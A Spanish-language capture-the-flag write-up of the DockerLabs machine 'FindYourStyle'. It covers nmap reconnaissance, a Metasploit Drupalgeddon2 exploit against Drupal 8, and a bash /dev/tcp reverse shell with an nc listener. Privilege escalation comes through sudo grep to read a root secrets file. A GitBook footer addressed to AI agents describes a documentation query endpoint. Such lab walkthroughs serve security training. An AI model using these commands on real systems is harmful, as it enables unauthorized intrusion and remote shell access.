> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/findyourstyle.md).

# FindYourStyle

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/mPYNd55f6Ycq4oFBBUpJ" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/Kn9k4T5E7WbJ3JsIOYfK" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 80** perteneciente al **servicio HTTP** está abierto por lo que a continuación se indagará más.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p80 -v 172.17.0.2
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="/files/oZF9diGetimi1HyLqWd6" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web que está alojada a través de un **Drupal 8**.

<figure><img src="/files/6edBds8VztgIEi13s1Vl" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Esta versión contiene varios exploits pero voy a explotar uno concretamente con **Metasploit**.

```bash
msfconsole
search drupal 8
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set RHOSTS 172.17.0.2
exploit
```

<figure><img src="/files/XaTPfwaf8o8Ax6PkWlFx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/akGP5jIdVV86kDKFmCDR" alt=""><figcaption></figcaption></figure>

En meterpreter.

<pre><code><strong>shell 
</strong>bash -i
find / -name settings.php 2>/dev/null
</code></pre>

<figure><img src="/files/vm5mf5QEsFApglFaIPGS" alt=""><figcaption></figcaption></figure>

Nos mandamos una Reverse Shell.

```bash
/bin/bash -i >& /dev/tcp/192.168.255.136/443 0>&1
```

Nos ponemos en escucha.

```bash
nc -lvnp 443
```

<figure><img src="/files/UnUNJ4knZU667UeYDGRe" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos **SUDO**.

Nos logueamos con el usuario **ballenita** que hemos encontrado.

<figure><img src="/files/yov8la0CAcDXcIgsg4th" alt=""><figcaption></figcaption></figure>

Nos llama la atención **grep** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/grep/#sudo)cómo explotarlo. Vamos a leer si hay en el directorio de `/root`.

```bash
sudo -u root /bin/ls /root/
sudo grep '' /root/secretitomaximo.txt
```

<figure><img src="/files/MUvQZmEFCHEZQKA5xPiO" alt=""><figcaption></figcaption></figure>

Nos convertirnos en **root** con esas credenciales.

<figure><img src="/files/QnO04TThoMO2qUVQOQr9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/findyourstyle.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
